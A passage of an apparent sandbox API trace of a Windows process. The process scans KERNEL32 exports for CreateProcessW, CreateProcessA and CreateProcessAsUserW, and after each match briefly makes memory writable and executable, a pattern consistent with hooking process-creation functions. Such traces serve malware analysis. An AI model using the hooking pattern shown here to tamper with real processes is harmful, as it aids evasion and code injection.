lstrcmpA (lpString1="CheckElevation", lpString2="CreateProcessW") returned -1 [0070.607] lstrcmpA (lpString1="CheckElevationEnabled", lpString2="CreateProcessW") returned -1 [0070.607] lstrcmpA (lpString1="CheckForReadOnlyResource", lpString2="CreateProcessW") returned -1 [0070.607] lstrcmpA (lpString1="CheckNameLegalDOS8Dot3A", lpString2="CreateProcessW") returned -1 [0070.607] lstrcmpA (lpString1="CheckNameLegalDOS8Dot3W", lpString2="CreateProcessW") returned -1 [0070.607] lstrcmpA (lpString1="CheckRemoteDebuggerPresent", lpString2="CreateProcessW") returned -1 [0070.607] lstrcmpA (lpString1="ClearCommBreak", lpString2="CreateProcessW") returned -1 [0070.607] lstrcmpA (lpString1="ClearCommError", lpString2="CreateProcessW") returned -1 [0070.607] lstrcmpA (lpString1="CloseConsoleHandle", lpString2="CreateProcessW") returned -1 [0070.607] lstrcmpA (lpString1="CloseHandle", lpString2="CreateProcessW") returned -1 [0070.607] lstrcmpA (lpString1="ClosePrivateNamespace", lpString2="CreateProcessW") returned -1 [0070.607] lstrcmpA (lpString1="CloseProfileUserMapping", lpString2="CreateProcessW") returned -1 [0070.607] lstrcmpA (lpString1="CloseThreadpool", lpString2="CreateProcessW") returned -1 [0070.608] lstrcmpA (lpString1="CloseThreadpoolCleanupGroup", lpString2="CreateProcessW") returned -1 [0070.608] lstrcmpA (lpString1="CloseThreadpoolCleanupGroupMembers", lpString2="CreateProcessW") returned -1 [0070.608] lstrcmpA (lpString1="CloseThreadpoolIo", lpString2="CreateProcessW") returned -1 [0070.608] lstrcmpA (lpString1="CloseThreadpoolTimer", lpString2="CreateProcessW") returned -1 [0070.608] lstrcmpA (lpString1="CloseThreadpoolWait", lpString2="CreateProcessW") returned -1 [0070.608] lstrcmpA (lpString1="CloseThreadpoolWork", lpString2="CreateProcessW") returned -1 [0070.608] lstrcmpA (lpString1="CmdBatNotification", lpString2="CreateProcessW") returned -1 [0070.608] lstrcmpA (lpString1="CommConfigDialogA", lpString2="CreateProcessW") returned -1 [0070.608] lstrcmpA (lpString1="CommConfigDialogW", lpString2="CreateProcessW") returned -1 [0070.608] lstrcmpA (lpString1="CompareCalendarDates", lpString2="CreateProcessW") returned -1 [0070.608] lstrcmpA (lpString1="CompareFileTime", lpString2="CreateProcessW") returned -1 [0070.608] lstrcmpA (lpString1="CompareStringA", lpString2="CreateProcessW") returned -1 [0070.608] lstrcmpA (lpString1="CompareStringEx", lpString2="CreateProcessW") returned -1 [0070.608] lstrcmpA (lpString1="CompareStringOrdinal", lpString2="CreateProcessW") returned -1 [0070.608] lstrcmpA (lpString1="CompareStringW", lpString2="CreateProcessW") returned -1 [0070.608] lstrcmpA (lpString1="ConnectNamedPipe", lpString2="CreateProcessW") returned -1 [0070.608] lstrcmpA (lpString1="ConsoleMenuControl", lpString2="CreateProcessW") returned -1 [0070.608] lstrcmpA (lpString1="ContinueDebugEvent", lpString2="CreateProcessW") returned -1 [0070.608] lstrcmpA (lpString1="ConvertCalDateTimeToSystemTime", lpString2="CreateProcessW") returned -1 [0070.608] lstrcmpA (lpString1="ConvertDefaultLocale", lpString2="CreateProcessW") returned -1 [0070.608] lstrcmpA (lpString1="ConvertFiberToThread", lpString2="CreateProcessW") returned -1 [0070.608] lstrcmpA (lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek", lpString2="CreateProcessW") returned -1 [0070.608] lstrcmpA (lpString1="ConvertSystemTimeToCalDateTime", lpString2="CreateProcessW") returned -1 [0070.608] lstrcmpA (lpString1="ConvertThreadToFiber", lpString2="CreateProcessW") returned -1 [0070.608] lstrcmpA (lpString1="ConvertThreadToFiberEx", lpString2="CreateProcessW") returned -1 [0070.608] lstrcmpA (lpString1="CopyContext", lpString2="CreateProcessW") returned -1 [0070.608] lstrcmpA (lpString1="CopyFileA", lpString2="CreateProcessW") returned -1 [0070.608] lstrcmpA (lpString1="CopyFileExA", lpString2="CreateProcessW") returned -1 [0070.608] lstrcmpA (lpString1="CopyFileExW", lpString2="CreateProcessW") returned -1 [0070.608] lstrcmpA (lpString1="CopyFileTransactedA", lpString2="CreateProcessW") returned -1 [0070.608] lstrcmpA (lpString1="CopyFileTransactedW", lpString2="CreateProcessW") returned -1 [0070.608] lstrcmpA (lpString1="CopyFileW", lpString2="CreateProcessW") returned -1 [0070.608] lstrcmpA (lpString1="CopyLZFile", lpString2="CreateProcessW") returned -1 [0070.608] lstrcmpA (lpString1="CreateActCtxA", lpString2="CreateProcessW") returned -1 [0070.608] lstrcmpA (lpString1="CreateActCtxW", lpString2="CreateProcessW") returned -1 [0070.608] lstrcmpA (lpString1="CreateBoundaryDescriptorA", lpString2="CreateProcessW") returned -1 [0070.608] lstrcmpA (lpString1="CreateBoundaryDescriptorW", lpString2="CreateProcessW") returned -1 [0070.608] lstrcmpA (lpString1="CreateConsoleScreenBuffer", lpString2="CreateProcessW") returned -1 [0070.608] lstrcmpA (lpString1="CreateDirectoryA", lpString2="CreateProcessW") returned -1 [0070.608] lstrcmpA (lpString1="CreateDirectoryExA", lpString2="CreateProcessW") returned -1 [0070.609] lstrcmpA (lpString1="CreateDirectoryExW", lpString2="CreateProcessW") returned -1 [0070.609] lstrcmpA (lpString1="CreateDirectoryTransactedA", lpString2="CreateProcessW") returned -1 [0070.609] lstrcmpA (lpString1="CreateDirectoryTransactedW", lpString2="CreateProcessW") returned -1 [0070.609] lstrcmpA (lpString1="CreateDirectoryW", lpString2="CreateProcessW") returned -1 [0070.609] lstrcmpA (lpString1="CreateEventA", lpString2="CreateProcessW") returned -1 [0070.609] lstrcmpA (lpString1="CreateEventExA", lpString2="CreateProcessW") returned -1 [0070.609] lstrcmpA (lpString1="CreateEventExW", lpString2="CreateProcessW") returned -1 [0070.609] lstrcmpA (lpString1="CreateEventW", lpString2="CreateProcessW") returned -1 [0070.609] lstrcmpA (lpString1="CreateFiber", lpString2="CreateProcessW") returned -1 [0070.609] lstrcmpA (lpString1="CreateFiberEx", lpString2="CreateProcessW") returned -1 [0070.609] lstrcmpA (lpString1="CreateFileA", lpString2="CreateProcessW") returned -1 [0070.609] lstrcmpA (lpString1="CreateFileMappingA", lpString2="CreateProcessW") returned -1 [0070.609] lstrcmpA (lpString1="CreateFileMappingNumaA", lpString2="CreateProcessW") returned -1 [0070.609] lstrcmpA (lpString1="CreateFileMappingNumaW", lpString2="CreateProcessW") returned -1 [0070.609] lstrcmpA (lpString1="CreateFileMappingW", lpString2="CreateProcessW") returned -1 [0070.609] lstrcmpA (lpString1="CreateFileTransactedA", lpString2="CreateProcessW") returned -1 [0070.609] lstrcmpA (lpString1="CreateFileTransactedW", lpString2="CreateProcessW") returned -1 [0070.609] lstrcmpA (lpString1="CreateFileW", lpString2="CreateProcessW") returned -1 [0070.609] lstrcmpA (lpString1="CreateHardLinkA", lpString2="CreateProcessW") returned -1 [0070.609] lstrcmpA (lpString1="CreateHardLinkTransactedA", lpString2="CreateProcessW") returned -1 [0070.609] lstrcmpA (lpString1="CreateHardLinkTransactedW", lpString2="CreateProcessW") returned -1 [0070.609] lstrcmpA (lpString1="CreateHardLinkW", lpString2="CreateProcessW") returned -1 [0070.609] lstrcmpA (lpString1="CreateIoCompletionPort", lpString2="CreateProcessW") returned -1 [0070.609] lstrcmpA (lpString1="CreateJobObjectA", lpString2="CreateProcessW") returned -1 [0070.609] lstrcmpA (lpString1="CreateJobObjectW", lpString2="CreateProcessW") returned -1 [0070.609] lstrcmpA (lpString1="CreateJobSet", lpString2="CreateProcessW") returned -1 [0070.609] lstrcmpA (lpString1="CreateMailslotA", lpString2="CreateProcessW") returned -1 [0070.609] lstrcmpA (lpString1="CreateMailslotW", lpString2="CreateProcessW") returned -1 [0070.609] lstrcmpA (lpString1="CreateMemoryResourceNotification", lpString2="CreateProcessW") returned -1 [0070.609] lstrcmpA (lpString1="CreateMutexA", lpString2="CreateProcessW") returned -1 [0070.609] lstrcmpA (lpString1="CreateMutexExA", lpString2="CreateProcessW") returned -1 [0070.609] lstrcmpA (lpString1="CreateMutexExW", lpString2="CreateProcessW") returned -1 [0070.609] lstrcmpA (lpString1="CreateMutexW", lpString2="CreateProcessW") returned -1 [0070.609] lstrcmpA (lpString1="CreateNamedPipeA", lpString2="CreateProcessW") returned -1 [0070.609] lstrcmpA (lpString1="CreateNamedPipeW", lpString2="CreateProcessW") returned -1 [0070.609] lstrcmpA (lpString1="CreatePipe", lpString2="CreateProcessW") returned -1 [0070.609] lstrcmpA (lpString1="CreatePrivateNamespaceA", lpString2="CreateProcessW") returned -1 [0070.609] lstrcmpA (lpString1="CreatePrivateNamespaceW", lpString2="CreateProcessW") returned -1 [0070.610] lstrcmpA (lpString1="CreateProcessA", lpString2="CreateProcessW") returned -1 [0070.610] lstrcmpA (lpString1="CreateProcessAsUserW", lpString2="CreateProcessW") returned -1 [0070.610] lstrcmpA (lpString1="CreateProcessInternalA", lpString2="CreateProcessW") returned -1 [0070.610] lstrcmpA (lpString1="CreateProcessInternalW", lpString2="CreateProcessW") returned -1 [0070.610] lstrcmpA (lpString1="CreateProcessW", lpString2="CreateProcessW") returned 0 [0070.610] VirtualProtect (in: lpAddress=0x770e0304, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x2fede8 | out: lpflOldProtect=0x2fede8*=0x2) returned 1 [0070.610] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x18) returned 0x22dece0 [0070.610] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x18) returned 0x22ded00 [0070.610] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x22dece0 | out: hHeap=0x1ee0000) returned 1 [0070.610] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x22ded00 | out: hHeap=0x1ee0000) returned 1 [0070.610] VirtualProtect (in: lpAddress=0x770dbc00, dwSize=0xe, flNewProtect=0x40, lpflOldProtect=0x2fede0 | out: lpflOldProtect=0x2fede0*=0x20) returned 1 [0070.653] VirtualProtect (in: lpAddress=0x770dbc00, dwSize=0xe, flNewProtect=0x20, lpflOldProtect=0x2fede0 | out: lpflOldProtect=0x2fede0*=0x40) returned 1 [0070.653] VirtualProtect (in: lpAddress=0x770e0304, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x2fede8 | out: lpflOldProtect=0x2fede8*=0x40) returned 1 [0070.653] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fed80, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fed80, ReturnLength=0x0) returned 0x0 [0070.653] GetModuleHandleA (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0070.653] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x22dece0 [0070.653] lstrcmpA (lpString1="AcquireSRWLockExclusive", lpString2="CreateProcessA") returned -1 [0070.653] lstrcmpA (lpString1="AcquireSRWLockShared", lpString2="CreateProcessA") returned -1 [0070.653] lstrcmpA (lpString1="ActivateActCtx", lpString2="CreateProcessA") returned -1 [0070.653] lstrcmpA (lpString1="AddAtomA", lpString2="CreateProcessA") returned -1 [0070.653] lstrcmpA (lpString1="AddAtomW", lpString2="CreateProcessA") returned -1 [0070.653] lstrcmpA (lpString1="AddConsoleAliasA", lpString2="CreateProcessA") returned -1 [0070.653] lstrcmpA (lpString1="AddConsoleAliasW", lpString2="CreateProcessA") returned -1 [0070.653] lstrcmpA (lpString1="AddIntegrityLabelToBoundaryDescriptor", lpString2="CreateProcessA") returned -1 [0070.653] lstrcmpA (lpString1="AddLocalAlternateComputerNameA", lpString2="CreateProcessA") returned -1 [0070.654] lstrcmpA (lpString1="AddLocalAlternateComputerNameW", lpString2="CreateProcessA") returned -1 [0070.654] lstrcmpA (lpString1="AddRefActCtx", lpString2="CreateProcessA") returned -1 [0070.654] lstrcmpA (lpString1="AddSIDToBoundaryDescriptor", lpString2="CreateProcessA") returned -1 [0070.654] lstrcmpA (lpString1="AddSecureMemoryCacheCallback", lpString2="CreateProcessA") returned -1 [0070.654] lstrcmpA (lpString1="AddVectoredContinueHandler", lpString2="CreateProcessA") returned -1 [0070.654] lstrcmpA (lpString1="AddVectoredExceptionHandler", lpString2="CreateProcessA") returned -1 [0070.654] lstrcmpA (lpString1="AdjustCalendarDate", lpString2="CreateProcessA") returned -1 [0070.654] lstrcmpA (lpString1="AllocConsole", lpString2="CreateProcessA") returned -1 [0070.654] lstrcmpA (lpString1="AllocateUserPhysicalPages", lpString2="CreateProcessA") returned -1 [0070.654] lstrcmpA (lpString1="AllocateUserPhysicalPagesNuma", lpString2="CreateProcessA") returned -1 [0070.654] lstrcmpA (lpString1="ApplicationRecoveryFinished", lpString2="CreateProcessA") returned -1 [0070.654] lstrcmpA (lpString1="ApplicationRecoveryInProgress", lpString2="CreateProcessA") returned -1 [0070.654] lstrcmpA (lpString1="AreFileApisANSI", lpString2="CreateProcessA") returned -1 [0070.654] lstrcmpA (lpString1="AssignProcessToJobObject", lpString2="CreateProcessA") returned -1 [0070.654] lstrcmpA (lpString1="AttachConsole", lpString2="CreateProcessA") returned -1 [0070.654] lstrcmpA (lpString1="BackupRead", lpString2="CreateProcessA") returned -1 [0070.654] lstrcmpA (lpString1="BackupSeek", lpString2="CreateProcessA") returned -1 [0070.654] lstrcmpA (lpString1="BackupWrite", lpString2="CreateProcessA") returned -1 [0070.654] lstrcmpA (lpString1="BaseCheckAppcompatCache", lpString2="CreateProcessA") returned -1 [0070.654] lstrcmpA (lpString1="BaseCheckAppcompatCacheEx", lpString2="CreateProcessA") returned -1 [0070.654] lstrcmpA (lpString1="BaseCheckRunApp", lpString2="CreateProcessA") returned -1 [0070.654] lstrcmpA (lpString1="BaseCleanupAppcompatCacheSupport", lpString2="CreateProcessA") returned -1 [0070.654] lstrcmpA (lpString1="BaseDllReadWriteIniFile", lpString2="CreateProcessA") returned -1 [0070.654] lstrcmpA (lpString1="BaseDumpAppcompatCache", lpString2="CreateProcessA") returned -1 [0070.654] lstrcmpA (lpString1="BaseFlushAppcompatCache", lpString2="CreateProcessA") returned -1 [0070.654] lstrcmpA (lpString1="BaseFormatObjectAttributes", lpString2="CreateProcessA") returned -1 [0070.654] lstrcmpA (lpString1="BaseFormatTimeOut", lpString2="CreateProcessA") returned -1 [0070.654] lstrcmpA (lpString1="BaseGenerateAppCompatData", lpString2="CreateProcessA") returned -1 [0070.654] lstrcmpA (lpString1="BaseGetNamedObjectDirectory", lpString2="CreateProcessA") returned -1 [0070.654] lstrcmpA (lpString1="BaseInitAppcompatCacheSupport", lpString2="CreateProcessA") returned -1 [0070.654] lstrcmpA (lpString1="BaseIsAppcompatInfrastructureDisabled", lpString2="CreateProcessA") returned -1 [0070.654] lstrcmpA (lpString1="BaseQueryModuleData", lpString2="CreateProcessA") returned -1 [0070.654] lstrcmpA (lpString1="BaseSetLastNTError", lpString2="CreateProcessA") returned -1 [0070.654] lstrcmpA (lpString1="BaseThreadInitThunk", lpString2="CreateProcessA") returned -1 [0070.654] lstrcmpA (lpString1="BaseUpdateAppcompatCache", lpString2="CreateProcessA") returned -1 [0070.654] lstrcmpA (lpString1="BaseVerifyUnicodeString", lpString2="CreateProcessA") returned -1 [0070.654] lstrcmpA (lpString1="Basep8BitStringToDynamicUnicodeString", lpString2="CreateProcessA") returned -1 [0070.654] lstrcmpA (lpString1="BasepAllocateActivationContextActivationBlock", lpString2="CreateProcessA") returned -1 [0070.654] lstrcmpA (lpString1="BasepAnsiStringToDynamicUnicodeString", lpString2="CreateProcessA") returned -1 [0070.655] lstrcmpA (lpString1="BasepCheckAppCompat", lpString2="CreateProcessA") returned -1 [0070.655] lstrcmpA (lpString1="BasepCheckBadapp", lpString2="CreateProcessA") returned -1 [0070.655] lstrcmpA (lpString1="BasepCheckWinSaferRestrictions", lpString2="CreateProcessA") returned -1 [0070.655] lstrcmpA (lpString1="BasepFreeActivationContextActivationBlock", lpString2="CreateProcessA") returned -1 [0070.655] lstrcmpA (lpString1="BasepFreeAppCompatData", lpString2="CreateProcessA") returned -1 [0070.655] lstrcmpA (lpString1="BasepMapModuleHandle", lpString2="CreateProcessA") returned -1 [0070.655] lstrcmpA (lpString1="Beep", lpString2="CreateProcessA") returned -1 [0070.655] lstrcmpA (lpString1="BeginUpdateResourceA", lpString2="CreateProcessA") returned -1 [0070.655] lstrcmpA (lpString1="BeginUpdateResourceW", lpString2="CreateProcessA") returned -1 [0070.655] lstrcmpA (lpString1="BindIoCompletionCallback", lpString2="CreateProcessA") returned -1 [0070.655] lstrcmpA (lpString1="BuildCommDCBA", lpString2="CreateProcessA") returned -1 [0070.655] lstrcmpA (lpString1="BuildCommDCBAndTimeoutsA", lpString2="CreateProcessA") returned -1 [0070.655] lstrcmpA (lpString1="BuildCommDCBAndTimeoutsW", lpString2="CreateProcessA") returned -1 [0070.655] lstrcmpA (lpString1="BuildCommDCBW", lpString2="CreateProcessA") returned -1 [0070.655] lstrcmpA (lpString1="CallNamedPipeA", lpString2="CreateProcessA") returned -1 [0070.655] lstrcmpA (lpString1="CallNamedPipeW", lpString2="CreateProcessA") returned -1 [0070.655] lstrcmpA (lpString1="CallbackMayRunLong", lpString2="CreateProcessA") returned -1 [0070.655] lstrcmpA (lpString1="CancelDeviceWakeupRequest", lpString2="CreateProcessA") returned -1 [0070.655] lstrcmpA (lpString1="CancelIo", lpString2="CreateProcessA") returned -1 [0070.655] lstrcmpA (lpString1="CancelIoEx", lpString2="CreateProcessA") returned -1 [0070.655] lstrcmpA (lpString1="CancelSynchronousIo", lpString2="CreateProcessA") returned -1 [0070.655] lstrcmpA (lpString1="CancelThreadpoolIo", lpString2="CreateProcessA") returned -1 [0070.655] lstrcmpA (lpString1="CancelTimerQueueTimer", lpString2="CreateProcessA") returned -1 [0070.655] lstrcmpA (lpString1="CancelWaitableTimer", lpString2="CreateProcessA") returned -1 [0070.655] lstrcmpA (lpString1="ChangeTimerQueueTimer", lpString2="CreateProcessA") returned -1 [0070.655] lstrcmpA (lpString1="CheckElevation", lpString2="CreateProcessA") returned -1 [0070.655] lstrcmpA (lpString1="CheckElevationEnabled", lpString2="CreateProcessA") returned -1 [0070.655] lstrcmpA (lpString1="CheckForReadOnlyResource", lpString2="CreateProcessA") returned -1 [0070.655] lstrcmpA (lpString1="CheckNameLegalDOS8Dot3A", lpString2="CreateProcessA") returned -1 [0070.655] lstrcmpA (lpString1="CheckNameLegalDOS8Dot3W", lpString2="CreateProcessA") returned -1 [0070.655] lstrcmpA (lpString1="CheckRemoteDebuggerPresent", lpString2="CreateProcessA") returned -1 [0070.655] lstrcmpA (lpString1="ClearCommBreak", lpString2="CreateProcessA") returned -1 [0070.655] lstrcmpA (lpString1="ClearCommError", lpString2="CreateProcessA") returned -1 [0070.655] lstrcmpA (lpString1="CloseConsoleHandle", lpString2="CreateProcessA") returned -1 [0070.655] lstrcmpA (lpString1="CloseHandle", lpString2="CreateProcessA") returned -1 [0070.655] lstrcmpA (lpString1="ClosePrivateNamespace", lpString2="CreateProcessA") returned -1 [0070.655] lstrcmpA (lpString1="CloseProfileUserMapping", lpString2="CreateProcessA") returned -1 [0070.655] lstrcmpA (lpString1="CloseThreadpool", lpString2="CreateProcessA") returned -1 [0070.655] lstrcmpA (lpString1="CloseThreadpoolCleanupGroup", lpString2="CreateProcessA") returned -1 [0070.655] lstrcmpA (lpString1="CloseThreadpoolCleanupGroupMembers", lpString2="CreateProcessA") returned -1 [0070.656] lstrcmpA (lpString1="CloseThreadpoolIo", lpString2="CreateProcessA") returned -1 [0070.656] lstrcmpA (lpString1="CloseThreadpoolTimer", lpString2="CreateProcessA") returned -1 [0070.656] lstrcmpA (lpString1="CloseThreadpoolWait", lpString2="CreateProcessA") returned -1 [0070.656] lstrcmpA (lpString1="CloseThreadpoolWork", lpString2="CreateProcessA") returned -1 [0070.656] lstrcmpA (lpString1="CmdBatNotification", lpString2="CreateProcessA") returned -1 [0070.656] lstrcmpA (lpString1="CommConfigDialogA", lpString2="CreateProcessA") returned -1 [0070.656] lstrcmpA (lpString1="CommConfigDialogW", lpString2="CreateProcessA") returned -1 [0070.656] lstrcmpA (lpString1="CompareCalendarDates", lpString2="CreateProcessA") returned -1 [0070.656] lstrcmpA (lpString1="CompareFileTime", lpString2="CreateProcessA") returned -1 [0070.656] lstrcmpA (lpString1="CompareStringA", lpString2="CreateProcessA") returned -1 [0070.656] lstrcmpA (lpString1="CompareStringEx", lpString2="CreateProcessA") returned -1 [0070.656] lstrcmpA (lpString1="CompareStringOrdinal", lpString2="CreateProcessA") returned -1 [0070.656] lstrcmpA (lpString1="CompareStringW", lpString2="CreateProcessA") returned -1 [0070.656] lstrcmpA (lpString1="ConnectNamedPipe", lpString2="CreateProcessA") returned -1 [0070.656] lstrcmpA (lpString1="ConsoleMenuControl", lpString2="CreateProcessA") returned -1 [0070.656] lstrcmpA (lpString1="ContinueDebugEvent", lpString2="CreateProcessA") returned -1 [0070.656] lstrcmpA (lpString1="ConvertCalDateTimeToSystemTime", lpString2="CreateProcessA") returned -1 [0070.656] lstrcmpA (lpString1="ConvertDefaultLocale", lpString2="CreateProcessA") returned -1 [0070.656] lstrcmpA (lpString1="ConvertFiberToThread", lpString2="CreateProcessA") returned -1 [0070.656] lstrcmpA (lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek", lpString2="CreateProcessA") returned -1 [0070.656] lstrcmpA (lpString1="ConvertSystemTimeToCalDateTime", lpString2="CreateProcessA") returned -1 [0070.656] lstrcmpA (lpString1="ConvertThreadToFiber", lpString2="CreateProcessA") returned -1 [0070.656] lstrcmpA (lpString1="ConvertThreadToFiberEx", lpString2="CreateProcessA") returned -1 [0070.656] lstrcmpA (lpString1="CopyContext", lpString2="CreateProcessA") returned -1 [0070.656] lstrcmpA (lpString1="CopyFileA", lpString2="CreateProcessA") returned -1 [0070.656] lstrcmpA (lpString1="CopyFileExA", lpString2="CreateProcessA") returned -1 [0070.656] lstrcmpA (lpString1="CopyFileExW", lpString2="CreateProcessA") returned -1 [0070.656] lstrcmpA (lpString1="CopyFileTransactedA", lpString2="CreateProcessA") returned -1 [0070.656] lstrcmpA (lpString1="CopyFileTransactedW", lpString2="CreateProcessA") returned -1 [0070.656] lstrcmpA (lpString1="CopyFileW", lpString2="CreateProcessA") returned -1 [0070.656] lstrcmpA (lpString1="CopyLZFile", lpString2="CreateProcessA") returned -1 [0070.656] lstrcmpA (lpString1="CreateActCtxA", lpString2="CreateProcessA") returned -1 [0070.656] lstrcmpA (lpString1="CreateActCtxW", lpString2="CreateProcessA") returned -1 [0070.656] lstrcmpA (lpString1="CreateBoundaryDescriptorA", lpString2="CreateProcessA") returned -1 [0070.656] lstrcmpA (lpString1="CreateBoundaryDescriptorW", lpString2="CreateProcessA") returned -1 [0070.656] lstrcmpA (lpString1="CreateConsoleScreenBuffer", lpString2="CreateProcessA") returned -1 [0070.656] lstrcmpA (lpString1="CreateDirectoryA", lpString2="CreateProcessA") returned -1 [0070.656] lstrcmpA (lpString1="CreateDirectoryExA", lpString2="CreateProcessA") returned -1 [0070.656] lstrcmpA (lpString1="CreateDirectoryExW", lpString2="CreateProcessA") returned -1 [0070.657] lstrcmpA (lpString1="CreateDirectoryTransactedA", lpString2="CreateProcessA") returned -1 [0070.657] lstrcmpA (lpString1="CreateDirectoryTransactedW", lpString2="CreateProcessA") returned -1 [0070.657] lstrcmpA (lpString1="CreateDirectoryW", lpString2="CreateProcessA") returned -1 [0070.657] lstrcmpA (lpString1="CreateEventA", lpString2="CreateProcessA") returned -1 [0070.657] lstrcmpA (lpString1="CreateEventExA", lpString2="CreateProcessA") returned -1 [0070.657] lstrcmpA (lpString1="CreateEventExW", lpString2="CreateProcessA") returned -1 [0070.657] lstrcmpA (lpString1="CreateEventW", lpString2="CreateProcessA") returned -1 [0070.657] lstrcmpA (lpString1="CreateFiber", lpString2="CreateProcessA") returned -1 [0070.657] lstrcmpA (lpString1="CreateFiberEx", lpString2="CreateProcessA") returned -1 [0070.657] lstrcmpA (lpString1="CreateFileA", lpString2="CreateProcessA") returned -1 [0070.657] lstrcmpA (lpString1="CreateFileMappingA", lpString2="CreateProcessA") returned -1 [0070.657] lstrcmpA (lpString1="CreateFileMappingNumaA", lpString2="CreateProcessA") returned -1 [0070.657] lstrcmpA (lpString1="CreateFileMappingNumaW", lpString2="CreateProcessA") returned -1 [0070.657] lstrcmpA (lpString1="CreateFileMappingW", lpString2="CreateProcessA") returned -1 [0070.657] lstrcmpA (lpString1="CreateFileTransactedA", lpString2="CreateProcessA") returned -1 [0070.657] lstrcmpA (lpString1="CreateFileTransactedW", lpString2="CreateProcessA") returned -1 [0070.657] lstrcmpA (lpString1="CreateFileW", lpString2="CreateProcessA") returned -1 [0070.657] lstrcmpA (lpString1="CreateHardLinkA", lpString2="CreateProcessA") returned -1 [0070.657] lstrcmpA (lpString1="CreateHardLinkTransactedA", lpString2="CreateProcessA") returned -1 [0070.657] lstrcmpA (lpString1="CreateHardLinkTransactedW", lpString2="CreateProcessA") returned -1 [0070.657] lstrcmpA (lpString1="CreateHardLinkW", lpString2="CreateProcessA") returned -1 [0070.657] lstrcmpA (lpString1="CreateIoCompletionPort", lpString2="CreateProcessA") returned -1 [0070.657] lstrcmpA (lpString1="CreateJobObjectA", lpString2="CreateProcessA") returned -1 [0070.657] lstrcmpA (lpString1="CreateJobObjectW", lpString2="CreateProcessA") returned -1 [0070.657] lstrcmpA (lpString1="CreateJobSet", lpString2="CreateProcessA") returned -1 [0070.657] lstrcmpA (lpString1="CreateMailslotA", lpString2="CreateProcessA") returned -1 [0070.657] lstrcmpA (lpString1="CreateMailslotW", lpString2="CreateProcessA") returned -1 [0070.657] lstrcmpA (lpString1="CreateMemoryResourceNotification", lpString2="CreateProcessA") returned -1 [0070.657] lstrcmpA (lpString1="CreateMutexA", lpString2="CreateProcessA") returned -1 [0070.657] lstrcmpA (lpString1="CreateMutexExA", lpString2="CreateProcessA") returned -1 [0070.657] lstrcmpA (lpString1="CreateMutexExW", lpString2="CreateProcessA") returned -1 [0070.657] lstrcmpA (lpString1="CreateMutexW", lpString2="CreateProcessA") returned -1 [0070.657] lstrcmpA (lpString1="CreateNamedPipeA", lpString2="CreateProcessA") returned -1 [0070.657] lstrcmpA (lpString1="CreateNamedPipeW", lpString2="CreateProcessA") returned -1 [0070.657] lstrcmpA (lpString1="CreatePipe", lpString2="CreateProcessA") returned -1 [0070.657] lstrcmpA (lpString1="CreatePrivateNamespaceA", lpString2="CreateProcessA") returned -1 [0070.657] lstrcmpA (lpString1="CreatePrivateNamespaceW", lpString2="CreateProcessA") returned -1 [0070.657] lstrcmpA (lpString1="CreateProcessA", lpString2="CreateProcessA") returned 0 [0070.658] VirtualProtect (in: lpAddress=0x770e02f4, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x2fede8 | out: lpflOldProtect=0x2fede8*=0x2) returned 1 [0070.658] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x18) returned 0x22ded50 [0070.658] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x18) returned 0x22ded70 [0070.658] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x22ded50 | out: hHeap=0x1ee0000) returned 1 [0070.658] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x22ded70 | out: hHeap=0x1ee0000) returned 1 [0070.658] VirtualProtect (in: lpAddress=0x770dbc0e, dwSize=0xe, flNewProtect=0x40, lpflOldProtect=0x2fede0 | out: lpflOldProtect=0x2fede0*=0x20) returned 1 [0070.658] VirtualProtect (in: lpAddress=0x770dbc0e, dwSize=0xe, flNewProtect=0x20, lpflOldProtect=0x2fede0 | out: lpflOldProtect=0x2fede0*=0x40) returned 1 [0070.658] VirtualProtect (in: lpAddress=0x770e02f4, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x2fede8 | out: lpflOldProtect=0x2fede8*=0x40) returned 1 [0070.658] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fed80, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fed80, ReturnLength=0x0) returned 0x0 [0070.659] GetModuleHandleA (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0070.659] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x22ded50 [0070.659] lstrcmpA (lpString1="AcquireSRWLockExclusive", lpString2="CreateProcessAsUserW") returned -1 [0070.659] lstrcmpA (lpString1="AcquireSRWLockShared", lpString2="CreateProcessAsUserW") returned -1 [0070.659] lstrcmpA (lpString1="ActivateActCtx", lpString2="CreateProcessAsUserW") returned -1 [0070.659] lstrcmpA (lpString1="AddAtomA", lpString2="CreateProcessAsUserW") returned -1 [0070.659] lstrcmpA (lpString1="AddAtomW", lpString2="CreateProcessAsUserW") returned -1 [0070.659] lstrcmpA (lpString1="AddConsoleAliasA", lpString2="CreateProcessAsUserW") returned -1 [0070.659] lstrcmpA (lpString1="AddConsoleAliasW", lpString2="CreateProcessAsUserW") returned -1 [0070.659] lstrcmpA (lpString1="AddIntegrityLabelToBoundaryDescriptor", lpString2="CreateProcessAsUserW") returned -1 [0070.659] lstrcmpA (lpString1="AddLocalAlternateComputerNameA", lpString2="CreateProcessAsUserW") returned -1 [0070.659] lstrcmpA (lpString1="AddLocalAlternateComputerNameW", lpString2="CreateProcessAsUserW") returned -1 [0070.659] lstrcmpA (lpString1="AddRefActCtx", lpString2="CreateProcessAsUserW") returned -1 [0070.659] lstrcmpA (lpString1="AddSIDToBoundaryDescriptor", 